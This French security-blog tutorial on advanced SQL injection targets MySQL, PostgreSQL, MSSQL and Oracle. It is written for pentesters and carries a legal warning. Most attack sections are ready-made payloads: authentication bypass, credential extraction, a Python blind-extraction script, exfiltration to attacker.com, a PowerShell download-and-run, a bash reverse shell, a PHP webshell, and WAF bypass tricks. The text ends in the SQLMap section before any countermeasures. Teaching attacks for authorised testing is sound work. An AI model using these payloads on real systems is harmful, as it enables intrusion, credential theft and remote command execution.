Besoin d'un audit de sécurité ?
Devis personnalisé sous 24h
Techniques de Hacking / Sécurité Web

Injection SQL Avancée : De la Détection à l'Exploitation Complète

Par Ayi NEDJIMI 15 février 2026 Lecture : 30 min
#SQLInjection #WebSecurity #SQLMap #OWASP #WAFBypass

1. Introduction : L'injection SQL, une menace persistante

L'injection SQL (SQLi) demeure, depuis plus de deux décennies, l'une des vulnérabilités les plus critiques et les plus exploitées dans le monde de la sécurité applicative. Classée en tant que CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) et figurant régulièrement dans le Top 10 OWASP sous la catégorie A03:2021 - Injection, cette faille continue de provoquer des brèches massives malgré des décennies de sensibilisation. En 2025, les statistiques de Verizon DBIR révèlent que les injections représentent encore environ 23% des violations de données dans les applications web, un chiffre alarmant qui témoigne de la persistance du problème.

L'impact d'une injection SQL réussie peut être dévastateur. Au-delà de la simple exfiltration de données, un attaquant peut contourner les mécanismes d'authentification, modifier ou supprimer des enregistrements critiques, élever ses privilèges au sein de la base de données, et dans certains cas, obtenir une exécution de commandes à distance (RCE) sur le serveur hébergeant le SGBD. Les conséquences financières sont considérables : selon le rapport IBM Cost of a Data Breach 2025, le coût moyen d'une violation de données liée à une injection s'élève à 4,88 millions de dollars, avec un temps moyen de détection de 194 jours.

Les frameworks modernes et les ORM (Object-Relational Mapping) ont certes réduit la surface d'attaque pour les développeurs qui les utilisent correctement, mais la réalité du terrain est plus nuancée. Les applications legacy, les requêtes dynamiques construites par concaténation, les procédures stockées mal sécurisées, et les erreurs de configuration continuent d'offrir des vecteurs d'attaque exploitables. Par ailleurs, de nouvelles surfaces d'attaque émergent avec les architectures de microservices, les API REST et GraphQL, et les backends serverless qui interagissent avec des bases de données variées.

Cet article propose un guide exhaustif de l'injection SQL avancée, depuis la phase de détection et d'identification du type d'injection jusqu'à l'exploitation complète, en couvrant les techniques de bypass de WAF, l'utilisation avancée de SQLMap, et les contre-mesures défensives à mettre en place. Il s'adresse aux pentesteurs, aux équipes red team, et aux développeurs souhaitant comprendre en profondeur les mécanismes d'attaque pour mieux s'en protéger. L'objectif est de fournir une ressource technique pratique, illustrée par des exemples concrets sur les principaux SGBD du marché.

Avertissement légal

Les techniques présentées dans cet article sont destinées à un usage éducatif et dans le cadre d'audits de sécurité autorisés. Toute utilisation non autorisée de ces techniques est illégale et punissable par la loi (articles 323-1 à 323-7 du Code pénal français). Effectuez toujours vos tests dans un environnement autorisé et avec un mandat écrit.

2. Fondamentaux révisés : anatomie d'une injection SQL

2.1 Rappel des principes fondamentaux

Une injection SQL se produit lorsqu'une entrée utilisateur non assainie est insérée directement dans une requête SQL. Le principe fondamental repose sur la rupture du contexte syntaxique : l'attaquant injecte des caractères spéciaux (guillemets, tirets, points-virgules) qui modifient la structure logique de la requête. Prenons un exemple classique d'authentification vulnérable :

-- Requête vulnérable (PHP)
$query = "SELECT * FROM users WHERE username = '" . $_POST['user'] . "' AND password = '" . $_POST['pass'] . "'";

-- Payload d'authentification bypass
' OR '1'='1' --
' OR '1'='1' /*
' OR 1=1 #
admin'--

Au-delà de ce cas trivial, la compréhension des différents contextes d'injection est essentielle pour un pentesteur efficace. Les injections ne se limitent pas aux clauses WHERE : elles peuvent se produire dans de nombreux points de la syntaxe SQL.

2.2 Contextes d'injection multiples

Contexte SQL Exemple vulnérable Payload type
WHERE (string) WHERE name = '$input' ' OR 1=1--
WHERE (numérique) WHERE id = $input 1 OR 1=1
INSERT INTO VALUES ('$input', ...) val'), ('admin','hash')--
UPDATE SET SET col = '$input' val', admin=1 WHERE user='victim'--
ORDER BY ORDER BY $input (CASE WHEN 1=1 THEN col1 ELSE col2 END)
LIMIT/OFFSET LIMIT $input 1 UNION SELECT ...
Table/Column name SELECT * FROM $input users; DROP TABLE logs--
GROUP BY GROUP BY $input col UNION SELECT ...

2.3 Différences syntaxiques entre SGBD

Chaque système de gestion de base de données possède ses spécificités syntaxiques que le pentesteur doit maîtriser. Ces différences impactent directement les payloads utilisables et les techniques d'exploitation. Voici les particularités essentielles des cinq SGBD les plus rencontrés en audit :

Fonctionnalité MySQL PostgreSQL MSSQL Oracle SQLite
Commentaires # -- /**/ -- /**/ -- /**/ -- /**/ -- /**/
Concaténation CONCAT(a,b) a||b a+b a||b a||b
Substring SUBSTR() SUBSTRING() SUBSTRING() SUBSTR() SUBSTR()
Version @@version version() @@version SELECT banner FROM v$version sqlite_version()
Tables système information_schema information_schema information_schema / sysobjects ALL_TABLES sqlite_master
Sleep SLEEP(n) pg_sleep(n) WAITFOR DELAY '0:0:n' DBMS_PIPE.RECEIVE_MESSAGE('x',n) - (pas natif)
Stacked queries Selon driver Oui Oui Non (PL/SQL) Oui

L'identification du SGBD cible constitue l'une des premières étapes d'exploitation. On peut l'identifier via les messages d'erreur, les fonctions spécifiques (un @@version qui fonctionne indique MySQL ou MSSQL), ou via des comportements différenciés (le commentaire # n'est valide que sous MySQL). Pour approfondir les techniques d'attaques sur différents types de bases de données, consultez notre article sur les attaques de bases de données SQL, NoSQL et GraphQL.

3. Union-Based Injection : extraction directe de données

3.1 Déterminer le nombre de colonnes

L'injection Union-based est la technique la plus directe et la plus efficace lorsque les résultats de la requête sont affichés dans la réponse HTTP. Le prérequis fondamental est de déterminer le nombre exact de colonnes retournées par la requête originale, car l'opérateur UNION exige que les deux sous-requêtes retournent le même nombre de colonnes. Deux méthodes principales permettent cette détermination :

Méthode 1 : ORDER BY incrémental -- On incrémente la valeur de ORDER BY jusqu'à obtenir une erreur, ce qui révèle le nombre de colonnes :

-- Tester le nombre de colonnes par ORDER BY
' ORDER BY 1--     -- OK
' ORDER BY 2--     -- OK
' ORDER BY 3--     -- OK
' ORDER BY 4--     -- OK
' ORDER BY 5--     -- ERREUR -> la requête a 4 colonnes

-- Alternative : recherche dichotomique pour les tables larges
' ORDER BY 10--    -- OK
' ORDER BY 20--    -- ERREUR
' ORDER BY 15--    -- OK
' ORDER BY 17--    -- ERREUR
' ORDER BY 16--    -- OK -> 16 colonnes

Méthode 2 : UNION SELECT NULL -- On ajoute des NULL jusqu'à ce que la requête réussisse :

-- Tester avec UNION SELECT NULL
' UNION SELECT NULL--                    -- ERREUR
' UNION SELECT NULL,NULL--               -- ERREUR
' UNION SELECT NULL,NULL,NULL--          -- ERREUR
' UNION SELECT NULL,NULL,NULL,NULL--     -- OK -> 4 colonnes

3.2 Identifier les colonnes visibles et leur type

Une fois le nombre de colonnes déterminé, il faut identifier lesquelles sont rendues dans la réponse HTTP et quel type de données elles acceptent. On remplace les NULL par des marqueurs identifiables :

-- Identifier les colonnes affichées (4 colonnes)
' UNION SELECT 'aaa','bbb','ccc','ddd'--

-- Si la colonne 2 et 3 sont visibles dans la page :
' UNION SELECT NULL,'VISIBLE_ICI',NULL,NULL--

-- Tester les types de données
' UNION SELECT NULL,123,NULL,NULL--      -- type numérique
' UNION SELECT NULL,'text',NULL,NULL--   -- type string

3.3 Extraction systématique des données

L'extraction suit une méthodologie structurée : identifier le SGBD, lister les bases de données, les tables, les colonnes, puis extraire les données sensibles. Voici le processus complet pour chaque SGBD majeur :

MySQL - Exploitation via information_schema

-- 1. Identifier la version et l'utilisateur courant
' UNION SELECT NULL,@@version,user(),database()--

-- 2. Lister toutes les bases de données
' UNION SELECT NULL,GROUP_CONCAT(schema_name SEPARATOR 0x0a),NULL,NULL 
  FROM information_schema.schemata--

-- 3. Lister les tables d'une base spécifique
' UNION SELECT NULL,GROUP_CONCAT(table_name SEPARATOR 0x0a),NULL,NULL 
  FROM information_schema.tables 
  WHERE table_schema='target_db'--

-- 4. Lister les colonnes d'une table
' UNION SELECT NULL,GROUP_CONCAT(column_name SEPARATOR 0x0a),NULL,NULL 
  FROM information_schema.columns 
  WHERE table_name='users' AND table_schema='target_db'--

-- 5. Extraire les credentials
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL,NULL 
  FROM target_db.users--

-- 6. Lire des fichiers sur le serveur (si FILE privilege)
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL,NULL--

PostgreSQL - Exploitation

-- 1. Version et utilisateur
' UNION SELECT NULL,version(),current_user,NULL--

-- 2. Lister les bases
' UNION SELECT NULL,datname,NULL,NULL FROM pg_database--

-- 3. Lister les tables
' UNION SELECT NULL,table_name,NULL,NULL 
  FROM information_schema.tables 
  WHERE table_schema='public'--

-- 4. Extraire les données
' UNION SELECT NULL,string_agg(username||':'||password, chr(10)),NULL,NULL 
  FROM users--

-- 5. Lire des fichiers (superuser requis)
' UNION SELECT NULL,pg_read_file('/etc/passwd'),NULL,NULL--

Microsoft SQL Server - Exploitation

-- 1. Version et utilisateur
' UNION SELECT NULL,@@version,SYSTEM_USER,NULL--

-- 2. Lister les bases
' UNION SELECT NULL,name,NULL,NULL FROM master..sysdatabases--

-- 3. Lister les tables
' UNION SELECT NULL,name,NULL,NULL FROM target_db..sysobjects WHERE xtype='U'--

-- 4. Lister les colonnes
' UNION SELECT NULL,name,NULL,NULL FROM syscolumns 
  WHERE id=(SELECT id FROM sysobjects WHERE name='users')--

-- 5. Extraire les hash de mots de passe (si sysadmin)
' UNION SELECT NULL,name+':'+CONVERT(VARCHAR,password_hash,1),NULL,NULL 
  FROM sys.sql_logins--

La technique Union-based reste la plus efficace pour l'extraction de grands volumes de données, car chaque requête peut retourner plusieurs lignes. Cependant, elle nécessite que le résultat de la requête soit reflété dans la réponse HTTP, ce qui n'est pas toujours le cas. Lorsque les données ne sont pas directement visibles, il faut recourir aux techniques d'injection aveugle (blind).

4. Blind SQL Injection : extraction sans visibilité directe

L'injection SQL aveugle (Blind SQLi) est la situation la plus fréquemment rencontrée en pentest moderne. L'application ne retourne pas directement les résultats de la requête SQL dans la réponse HTTP, mais le comportement de l'application varie suffisamment pour permettre une inférence bit par bit des données. Deux sous-catégories existent : Boolean-based et Time-based.

4.1 Boolean-Based Blind SQLi

Dans ce scénario, l'application retourne deux réponses distinctes selon que la condition injectée est vraie ou fausse. La différence peut être subtile : un message d'erreur différent, un contenu de page légèrement modifié, un code HTTP différent (200 vs 302), ou même une différence de taille dans la réponse. L'attaquant pose des questions booléennes à la base de données et déduit l'information caractère par caractère.

Algorithme de recherche binaire (binary search) : pour chaque caractère à extraire, plutôt que de tester les 95 caractères ASCII imprimables un par un (ce qui nécessiterait en moyenne 47 requêtes par caractère), on utilise une recherche dichotomique qui réduit le nombre de requêtes à 7 par caractère (log2(128) = 7).

-- Étape 1 : Vérifier la vulnérabilité
' AND 1=1--    -- Réponse VRAIE (page normale)
' AND 1=2--    -- Réponse FAUSSE (page différente)

-- Étape 2 : Déterminer la longueur d'une valeur
' AND LENGTH(database())=1--    -- FAUX
' AND LENGTH(database())=5--    -- FAUX
' AND LENGTH(database())=8--    -- VRAI -> le nom de la DB fait 8 caractères

-- Étape 3 : Extraire caractère par caractère (binary search)
-- Premier caractère de database() :
' AND ASCII(SUBSTRING(database(),1,1))>64--   -- VRAI (> '@')
' AND ASCII(SUBSTRING(database(),1,1))>96--   -- VRAI (> '`')  
' AND ASCII(SUBSTRING(database(),1,1))>112--  -- FAUX (<= 'p')
' AND ASCII(SUBSTRING(database(),1,1))>104--  -- VRAI (> 'h')
' AND ASCII(SUBSTRING(database(),1,1))>108--  -- FAUX (<= 'l')
' AND ASCII(SUBSTRING(database(),1,1))>106--  -- FAUX (<= 'j')
' AND ASCII(SUBSTRING(database(),1,1))>105--  -- FAUX (<= 'i')
-- ASCII 105 = 'i' --> premier caractère trouvé !

-- Étape 4 : Extraire le nom de la première table
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables 
  WHERE table_schema=database() LIMIT 0,1),1,1))>96--

-- Étape 5 : Extraire un mot de passe
' AND ASCII(SUBSTRING((SELECT password FROM users 
  WHERE username='admin'),1,1))>64--

4.2 Time-Based Blind SQLi

Lorsque l'application retourne exactement la même réponse quelle que soit la condition injectée (aucune différence observable dans le contenu), la technique Time-based permet d'utiliser le temps de réponse comme canal d'inférence. L'attaquant injecte une instruction conditionnelle qui provoque un délai mesurable si la condition est vraie.

-- MySQL : SLEEP()
' AND IF(1=1, SLEEP(5), 0)--                    -- Délai de 5s si VRAI
' AND IF(ASCII(SUBSTRING(database(),1,1))>96, SLEEP(5), 0)--

-- PostgreSQL : pg_sleep()
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
' AND (SELECT CASE WHEN ASCII(SUBSTRING(current_user,1,1))>96 
  THEN pg_sleep(5) ELSE pg_sleep(0) END)='1'--

-- MSSQL : WAITFOR DELAY
'; IF (1=1) WAITFOR DELAY '0:0:5'--
'; IF (ASCII(SUBSTRING(DB_NAME(),1,1))>96) WAITFOR DELAY '0:0:5'--

-- Oracle : DBMS_PIPE.RECEIVE_MESSAGE
' AND 1=(CASE WHEN (1=1) THEN 
  DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)--

-- MySQL alternative : BENCHMARK()
' AND IF(1=1, BENCHMARK(10000000, SHA1('test')), 0)--

4.3 Automatisation avec Python

L'extraction manuelle caractère par caractère est extrêmement fastidieuse. En pratique, on automatise le processus avec des scripts Python. Voici un script illustrant l'extraction Boolean-based avec recherche binaire :

import requests
import string
import sys

URL = "http://target.com/search"
TRUE_INDICATOR = "résultats trouvés"  # Texte présent quand condition VRAIE

def check_condition(payload):
    """Teste si la condition SQL injectée est VRAIE."""
    params = {"q": f"test' AND {payload}-- -"}
    resp = requests.get(URL, params=params, timeout=10)
    return TRUE_INDICATOR in resp.text

def extract_char(query, position):
    """Extrait un caractère par recherche binaire (7 requêtes max)."""
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        payload = f"ASCII(SUBSTRING(({query}),{position},1))>{mid}"
        if check_condition(payload):
            low = mid + 1
        else:
            high = mid
    return chr(low) if low > 32 else None

def extract_string(query, max_length=100):
    """Extrait une chaîne complète."""
    result = ""
    for i in range(1, max_length + 1):
        char = extract_char(query, i)
        if char is None:
            break
        result += char
        sys.stdout.write(f"\r[*] Extraction: {result}")
        sys.stdout.flush()
    print()
    return result

# Exemple d'utilisation
db_name = extract_string("SELECT database()")
print(f"[+] Base de données: {db_name}")

tables = extract_string(
    "SELECT GROUP_CONCAT(table_name) "
    "FROM information_schema.tables "
    "WHERE table_schema=database()"
)
print(f"[+] Tables: {tables}")

4.4 Benchmark : performance des techniques blind

Le nombre de requêtes nécessaires est un facteur critique en blind SQLi, notamment pour rester sous le radar des systèmes de détection. Voici un comparatif des performances selon les techniques :

Technique Requêtes/caractère Pour 32 caractères Temps estimé (100ms/req)
Boolean brute-force (a-z, 0-9) ~18 (moyenne) 576 ~58 secondes
Boolean binary search 7 224 ~22 secondes
Boolean bitwise (bit par bit) 7-8 224-256 ~22-26 secondes
Time-based binary (5s sleep) 7 224 ~19 minutes (worst case)
Time-based binary (1s sleep) 7 224 ~4 minutes (worst case)

La technique time-based est significativement plus lente en raison des délais d'attente imposés. C'est pourquoi on préfère toujours les techniques Boolean-based lorsqu'un différentiel de réponse est détectable, ou les techniques Out-of-Band lorsque le SGBD le permet.

Arbre de décision : identification du type d'injection SQL Point d'injection détecté La réponse diffère-t-elle (contenu) ? OUI UNION SELECT fonctionne ? OUI Union-Based NON Erreurs SQL visibles ? OUI Error-Based NON Boolean-Based Blind NON SLEEP/WAITFOR provoque délai ? OUI Time-Based Blind NON DNS/HTTP exfiltration possible ? OUI Out-of-Band (OOB) Priorité d'exploitation (efficacité décroissante) : 1. Union-Based : extraction directe, rapide, volume élevé 2. Error-Based : extraction via messages d'erreur, rapide 3. Boolean-Based Blind : inférence par différence de réponse, ~7 req/char 4. Time-Based Blind : inférence par délai, lent mais fiable 5. Out-of-Band : exfiltration DNS/HTTP, nécessite connectivité sortante
Flux d'extraction Time-Based Blind (recherche binaire) Caractère n ASCII ? > 64 IF(cond, SLEEP(2), 0) Délai 2s VRAI: > 64 Pas de délai FAUX: <= 64 Réduire range 7 itérations = 1 char Exemple : extraire le 1er caractère de database() = 'i' (ASCII 105) Iter 1: ASCII > 64 ? --> Délai 2s --> VRAI --> range [65, 126] Iter 2: ASCII > 95 ? --> Délai 2s --> VRAI --> range [96, 126] Iter 3: ASCII > 110 ? --> Pas délai --> FAUX --> range [96, 110] Iter 4: ASCII > 103 ? --> Délai 2s --> VRAI --> range [104, 110] Iter 5: ASCII > 107 ? --> Pas délai --> FAUX --> range [104, 107] Iter 6: ASCII > 105 ? --> Pas délai --> FAUX --> range [104, 105] Iter 7: ASCII > 104 ? --> Délai 2s --> VRAI --> ASCII = 105 = 'i' Bilan : 7 requêtes, 4 avec délai (8s) + 3 sans (0.3s) = ~8.3s pour 1 caractère Pour un mot de passe de 32 chars : 7 x 32 = 224 requêtes, ~4.4 minutes (meilleur cas)

5. Techniques avancées d'exploitation

5.1 Error-Based Injection

L'injection Error-based exploite les messages d'erreur du SGBD pour extraire des données. Cette technique est particulièrement efficace car elle permet d'extraire des données en une seule requête, contrairement aux techniques blind. L'idée est de provoquer délibérément une erreur SQL dont le message contient les données ciblées.

MySQL : extractvalue() et updatexml()

-- extractvalue() : provoque une erreur XPath contenant le résultat
' AND extractvalue(1, CONCAT(0x7e, (SELECT @@version), 0x7e))--
-- Erreur : XPATH syntax error: '~8.0.35~'

-- updatexml() : même principe
' AND updatexml(1, CONCAT(0x7e, (SELECT user()), 0x7e), 1)--
-- Erreur : XPATH syntax error: '~root@localhost~'

-- Double query (subquery error) pour MySQL < 5.1
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(
  (SELECT database()), 0x3a, FLOOR(RAND(0)*2)
) x FROM information_schema.tables GROUP BY x) y)--

-- Extraction de données via erreur
' AND extractvalue(1, CONCAT(0x7e, (
  SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a) 
  FROM users LIMIT 0,1
), 0x7e))--

PostgreSQL : CAST errors

-- Erreur de cast (conversion de type impossible)
' AND 1=CAST((SELECT version()) AS INTEGER)--
-- ERROR: invalid input syntax for type integer: "PostgreSQL 15.4..."

-- Via sous-requête
' AND 1=CAST((SELECT table_name FROM information_schema.tables 
  WHERE table_schema='public' LIMIT 1) AS INTEGER)--

-- Via division par zéro conditionnelle
' AND 1/(SELECT CASE WHEN (1=1) THEN 1 
  ELSE CAST((SELECT current_user) AS INTEGER) END)=1--

MSSQL : CONVERT errors

-- Erreur de conversion
' AND 1=CONVERT(INT, (SELECT @@version))--
-- Conversion failed when converting the nvarchar value 
-- 'Microsoft SQL Server 2019...' to data type int.

-- Via sous-requête
' AND 1=CONVERT(INT, (SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--

5.2 Out-of-Band (OOB) Exfiltration

L'exfiltration Out-of-Band utilise des canaux secondaires (DNS, HTTP) pour transmettre les données extraites vers un serveur contrôlé par l'attaquant. Cette technique est précieuse lorsque ni le contenu de la réponse ni le temps de réponse ne peuvent être utilisés comme oracle. Elle nécessite que le serveur de base de données puisse effectuer des requêtes réseau sortantes.

-- MSSQL : xp_dirtree (DNS exfiltration)
'; DECLARE @data VARCHAR(1024);
  SELECT @data = (SELECT TOP 1 username+':'+password FROM users);
  EXEC master..xp_dirtree '\\' + @data + '.attacker.com\share'--

-- MSSQL : xp_fileexist
'; EXEC xp_fileexist '\\data.attacker.com\share'--

-- MySQL : LOAD_FILE + DNS (Windows uniquement)
' UNION SELECT LOAD_FILE(CONCAT('\\\\', 
  (SELECT password FROM users WHERE username='admin'),
  '.attacker.com\\share'))--

-- MySQL : INTO OUTFILE + HTTP (via webhooks)
' UNION SELECT username,password INTO OUTFILE '/var/www/html/dump.txt' 
  FROM users--

-- Oracle : UTL_HTTP.REQUEST
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/?data='||
  (SELECT username||':'||password FROM users WHERE ROWNUM=1)) 
  FROM DUAL--

-- Oracle : UTL_INADDR.GET_HOST_ADDRESS (DNS)
' UNION SELECT UTL_INADDR.GET_HOST_ADDRESS(
  (SELECT username FROM users WHERE ROWNUM=1)||'.attacker.com') 
  FROM DUAL--

-- PostgreSQL : dblink (si extension installée)
' UNION SELECT dblink_connect('host=attacker.com dbname='||
  (SELECT current_user)||' user=x password=x')--

-- PostgreSQL : COPY TO PROGRAM (superuser)
'; COPY (SELECT username||':'||password FROM users) 
  TO PROGRAM 'curl http://attacker.com/exfil?data=$(cat)'--

5.3 Second-Order Injection

L'injection de second ordre est particulièrement insidieuse et souvent négligée par les outils d'analyse automatisée. Le principe : le payload malveillant est stocké en base de données lors d'une première interaction (par exemple, lors de l'inscription), puis déclenché lors d'une seconde opération qui utilise cette donnée stockée sans la re-valider. C'est un vecteur fréquent dans les applications qui utilisent des CMS comme WordPress avec des plugins mal sécurisés.

-- Étape 1 : Inscription avec payload dans le nom d'utilisateur
Username: admin'--
Password: anything
Email: attacker@evil.com

-- Le nom est stocké proprement dans la base (échappé à l'INSERT)
INSERT INTO users (username, password, email) 
VALUES ('admin''--', 'hashed_pwd', 'attacker@evil.com')

-- Étape 2 : Fonctionnalité "changer de mot de passe"
-- Le backend récupère le username depuis la base et l'utilise
-- dans une nouvelle requête SANS l'échapper :
UPDATE users SET password='new_hash' 
WHERE username='admin'--'     
-- Résultat : le mot de passe de 'admin' est modifié !

-- Autre exemple : profil utilisateur affiché
SELECT * FROM profiles WHERE username='admin'--'
-- Affiche le profil de l'admin au lieu de l'attaquant

5.4 Stacked Queries et SQL Injection vers RCE

Les requêtes empilées (stacked queries) permettent d'exécuter plusieurs instructions SQL en une seule injection en les séparant par des points-virgules. Cette fonctionnalité, supportée nativement par MSSQL et PostgreSQL, ouvre la porte à des attaques dévastatrices incluant la modification de données et l'exécution de commandes système. Pour comprendre l'impact de la désérialisation dans ces chaînes d'attaque, consultez notre article sur la désérialisation et les gadget chains.

-- MSSQL : xp_cmdshell (exécution de commandes)
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
'; EXEC xp_cmdshell 'whoami'--
'; EXEC xp_cmdshell 'powershell -c IEX(IWR http://attacker.com/shell.ps1)'--

-- MSSQL : OLE Automation (alternative à xp_cmdshell)
'; DECLARE @o INT; EXEC sp_oacreate 'WScript.Shell', @o OUTPUT;
  EXEC sp_oamethod @o, 'Run', NULL, 'cmd /c whoami > C:\tmp\out.txt'--

-- PostgreSQL : COPY TO PROGRAM (superuser requis)
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned.txt'--
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'--

-- MySQL : INTO OUTFILE (écriture de webshell)
' UNION SELECT '<?php system($_GET["cmd"]); ?>' 
  INTO OUTFILE '/var/www/html/shell.php'--

-- MySQL : User Defined Functions (UDF)
-- Nécessite l'écriture d'une lib .so dans plugin_dir
' UNION SELECT 0x7f454c46... INTO DUMPFILE '/usr/lib/mysql/plugin/evil.so'--
'; CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'evil.so'--
'; SELECT sys_exec('id')--

-- PostgreSQL : large objects pour écrire des fichiers
'; SELECT lo_create(1337)--
'; INSERT INTO pg_largeobject (loid, pageno, data) 
  VALUES (1337, 0, decode('base64_payload', 'base64'))--
'; SELECT lo_export(1337, '/tmp/shell.sh')--

Attention : impact sur la production

Les techniques d'écriture de fichiers et d'exécution de commandes via SQLi peuvent avoir un impact sévère sur l'intégrité du système cible. En contexte d'audit, documentez toujours ces vecteurs sans les exploiter pleinement, sauf accord explicite du client. Prévoyez un plan de restauration.

6. Bypass de WAF : contourner les défenses périmétriques

Les Web Application Firewalls (WAF) représentent une couche de défense significative contre les injections SQL. Cependant, un WAF ne constitue jamais une protection suffisante à lui seul. Les techniques de bypass WAF sont nombreuses et exploitent les limitations inhérentes à l'approche de filtrage par signatures et par expressions régulières. L'objectif est de transformer le payload de manière à ce qu'il passe les règles du WAF tout en restant syntaxiquement valide pour le SGBD cible. Ces techniques sont similaires dans leur philosophie aux contournements utilisés dans les attaques SSRF modernes et les attaques de web cache deception.

6.1 Techniques d'encodage

-- Encodage URL
' OR 1=1--  -->  %27%20OR%201%3D1--

-- Double encodage URL
' OR 1=1--  -->  %2527%2520OR%25201%253D1--

-- Encodage hexadécimal (MySQL)
SELECT * FROM users WHERE name = 0x61646d696e  -- 'admin' en hex

-- Encodage Unicode
' UNION SELECT  -->  %u0027%u0020UNION%u0020SELECT

-- Encodage ASCII avec CHAR()
' OR 1=1--  -->  ' OR 1=1 -- 
SELECT CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)  -- 'admin'

-- Encodage HTML entities (dans les paramètres XML/JSON)
' OR 1=1--
' OR 1=1--

6.2 Obfuscation syntaxique

-- Commentaires inline MySQL (version-specific)
/*!50000UNION*/ /*!50000SELECT*/ 1,2,3--
UN/**/ION SE/**/LECT 1,2,3--

-- Case alternation (MiXeD CaSe)
uNiOn SeLeCt 1,2,3--

-- Espaces alternatifs (contourner les regex sur espaces)
'%09UNION%09SELECT%091,2,3--          -- tab
'%0aUNION%0aSELECT%0a1,2,3--        -- newline
'%0dUNION%0dSELECT%0d1,2,3--        -- carriage return
'%0bUNION%0bSELECT%0b1,2,3--        -- vertical tab
'%a0UNION%a0SELECT%a01,2,3--         -- non-breaking space

-- Parenthèses au lieu d'espaces
'UNION(SELECT(1),(2),(3))--

-- Opérateurs alternatifs
' OR 1 LIKE 1--                       -- LIKE au lieu de =
' OR 1 BETWEEN 0 AND 2--             -- BETWEEN
' OR 1 IN (1)--                       -- IN
' OR 1 REGEXP 1--                     -- REGEXP

-- CONCAT pour reconstruire les mots-clés
CONCAT('UN','ION',' SE','LECT')       -- (n'est pas exécutable directement
                                       -- mais utile dans certains contextes)

-- Fonctions MySQL sans espace
SELECT(username)FROM(users)WHERE(1=1)

-- Commentaires imbriqués PostgreSQL
SELECT/**/username/**/FROM/**/users

6.3 Techniques avancées de bypass

-- HTTP Parameter Pollution (HPP)
-- Envoyer le même paramètre plusieurs fois
?id=1&id=' UNION SELECT 1,2,3--
-- Selon le framework, la dernière ou la première valeur est utilisée

-- JSON/XML injection (contourner les WAF qui ne parsent pas le body)
POST /api/search
Content-Type: application/json
{"query": "test' UNION SELECT 1,2,3--"}

-- Chunked Transfer Encoding
Transfer-Encoding: chunked
3
id=
4
1 UN
6
ION S
8
ELECT 1
1
,
1
2
1
,
1
3
2
--
0

-- Multipart form-data
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="id"

1' UNION SELECT 1,2,3--
------BOUNDARY--

-- Buffer overflow du WAF (certains WAF ont une limite de taille)
?id=1 AND 1=1 AND 1=1 AND 1=1 ... [répéter 8000+ fois] ... 
  UNION SELECT 1,2,3--

6.4 Bypass spécifiques par WAF

WAF Technique de bypass connue Exemple
ModSecurity Commentaires MySQL version-specific /*!50000UNION*/+/*!50000SELECT*/
Cloudflare Unicode normalization, HPP %EF%BC%87 OR 1=1-- (fullwidth apostrophe)
AWS WAF JSON body, chunked encoding Payloads dans le body JSON non parsé
Imperva Buffer overflow, double encoding Paramètre très long + payload en fin
F5 ASM Case mixing, inline comments uN/**/iOn+sE/**/lEcT
Architecture de bypass WAF : du payload à l'interprétation backend Payload Original ' UNION SELECT 1,2,3-- Couches d'Encodage 1. URL Encoding 2. Case Alternation 3. Inline Comments 4. Whitespace Substitution WAF Rules Regex: /UNION\s+SELECT/i Regex: /OR\s+\d+=\d+/i Blocklist: sleep, benchmark Max length: 8192 bytes Content-Type: x-www-form BYPASS Backend DB URL decode Case insensitive Comments stripped Whitespace normalized Payload transformé : %27%09/*!50000uNiOn*/%09/*!50000SeLeCt*/%091,2,3%09-- Pourquoi ça fonctionne : 1. Le WAF cherche "UNION SELECT" comme pattern contigu -- les commentaires cassent le pattern regex 2. L'alternance de casse contourne les regex non case-insensitive sur certaines implémentations 3. Les tabs (%09) remplacent les espaces que le WAF filtre spécifiquement 4. MySQL interprète /*!50000...*/ comme du code conditionnel (version >= 5.00.00) et l'exécute

7. SQLMap avancé : maîtriser l'outil de référence

SQLMap est l'outil open source de référence pour la détection et l'exploitation automatisée des injections SQL. Si son usage basique est bien documenté, ses fonctionnalités avancées restent méconnues de nombreux pentesteurs. La maîtrise de ces options avancées permet d'exploiter des injections complexes que les scans automatiques standards manquent, et de contourner les protections en place.

7.1 Options de détection avancée

# Scan basique avec augmentation du niveau de détection
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3

# --level : (1-5) contrôle le nombre de payloads testés
#   1 = payloads basiques (défaut)
#   2 = ajoute les cookies et User-Agent
#   3 = ajoute les headers HTTP (Referer, etc.)
#   4 = ajoute plus de payloads par technique
#   5 = tous les payloads disponibles

# --risk : (1-3) contrôle le type de payloads
#   1 = inoffensif (défaut)
#   2 = ajoute les time-based heavy queries
#   3 = ajoute les OR-based (peut modifier des données !)

# Spécifier les techniques à tester
sqlmap -u "http://target.com/page?id=1" \
  --technique=BEUSTQ
# B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inline

# Injection dans un header spécifique
sqlmap -u "http://target.com/page" \
  --headers="X-Forwarded-For: 1*" --level=3

# Injection via POST avec paramètre spécifique
sqlmap -u "http://target.com/login" \
  --data="username=admin&password=test*" -p password

# Injection dans un cookie
sqlmap -u "http://target.com/dashboard" \
  --cookie="session_id=abc123; role=user*" -p role --level=2

7.2 Exploitation avancée

# Obtenir un shell OS (via xp_cmdshell, UDF, etc.)
sqlmap -u "http://target.com/page?id=1" --os-shell

# Obtenir un shell SQL interactif
sqlmap -u "http://target.com/page?id=1" --sql-shell

# Lire un fichier du serveur
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd"

